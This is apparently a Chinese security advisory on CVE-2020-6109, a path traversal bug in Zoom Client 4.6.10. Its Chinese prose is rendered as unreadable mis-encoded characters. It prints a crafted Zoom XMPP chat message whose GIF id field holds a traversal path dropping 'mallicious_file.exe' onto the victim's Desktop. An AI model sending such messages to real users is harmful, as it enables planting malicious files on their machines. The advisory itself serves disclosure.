CVE-2020-6109 | ZOOM¿Í»§¶Ë·¾¶±éÀúÎó²îͨ¸æ
Ðû²¼Ê±¼ä 2020-06-050x00 Îó²î¸ÅÊö
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CVE ID |
CVE-2020-6109 |
ʱ ¼ä |
2020-06-04 |
|
Àà ÐÍ |
DT |
µÈ ¼¶ |
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Ó°Ïì¹æÄ£ |
Zoom Client 4.6.10 |
0x01 Îó²îÏêÇé
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<message from='source@xmpp.zoom.us' to='destination@xmpp.zoom.us' id='random' type='chat'>
<body>User Name sent you a GIF image. In order to view it, please upgrade to the latest version that supports GIFs: https://www.zoom.us/download</body>
<thread>RANDOM</thread>
<active xmlns='http://jabber.org/protocol/chatstates'/>
<sns>
<format>%1$@ sent you a picture</format>
<args>
<arg>User Name</arg>
</args>
</sns>
<giphy id='filename' url='image_url' tags='congrats'>
<pcInfo url='image_url_for_pc_display' size='10'/>
<mobileInfo url='image_url_for_mobile_display' size='10'/>
<bigPicInfo url='image_url_for_full_size_display' size='10'/>
</giphy>
<zmext expire_t='timestamp' prev='timestamp' t='timestamp'>
<from n='User Name' e='email' res='ZoomChat_pc'/>
<to/>
<visible>true</visible>
<msg_feature>0</msg_feature>
</zmext>
</message>
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ZM-CAP: 2535978022733895607,164
ZM-PROP: Mac.Zoom
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<message from='source@xmpp.zoom.us' to='destination@xmpp.zoom.us' id='random' type='chat'>
<body>User Name sent you a GIF image. In order to view it, please upgrade to the latest version that supports GIFs: https://www.zoom.us/download</body>
<thread>RANDOM</thread>
<active xmlns='http://jabber.org/protocol/chatstates'/>
<sns>
<format>%1$@ sent you a picture</format>
<args>
<arg>User Name</arg>
</args>
</sns>
<giphy id='../../../../../../Desktop/mallicious_file.exe' url='image_url' tags='congrats'>
<pcInfo url='image_url_for_pc_display' size='10'/>
<mobileInfo url='image_url_for_mobile_display' size='10'/>
<bigPicInfo url='image_url_for_full_size_display' size='10'/>
</giphy>
<zmext expire_t='timestamp' prev='timestamp' t='timestamp'>
<from n='User Name' e='email' res='ZoomChat_pc'/>
<to/>
<visible>true</visible>
<msg_feature>0</msg_feature>
</zmext>
</message>
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0x02 ´¦Öóͷ£½¨Òé
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https://zoom.us/
0x03 Ïà¹ØÐÂÎÅ
https://securityaffairs.co/wordpress/104249/hacking/zoom-security-flaws.html
0x04 ²Î¿¼Á´½Ó
https://talosintelligence.com/vulnerability_reports/TALOS-2020-1055
0x05 ʱ¼äÏß
2020-04-16 Ñо¿Ö°Ô±Åû¶
2020-06-04 VSRCÐû²¼Îó²îͨ¸æ


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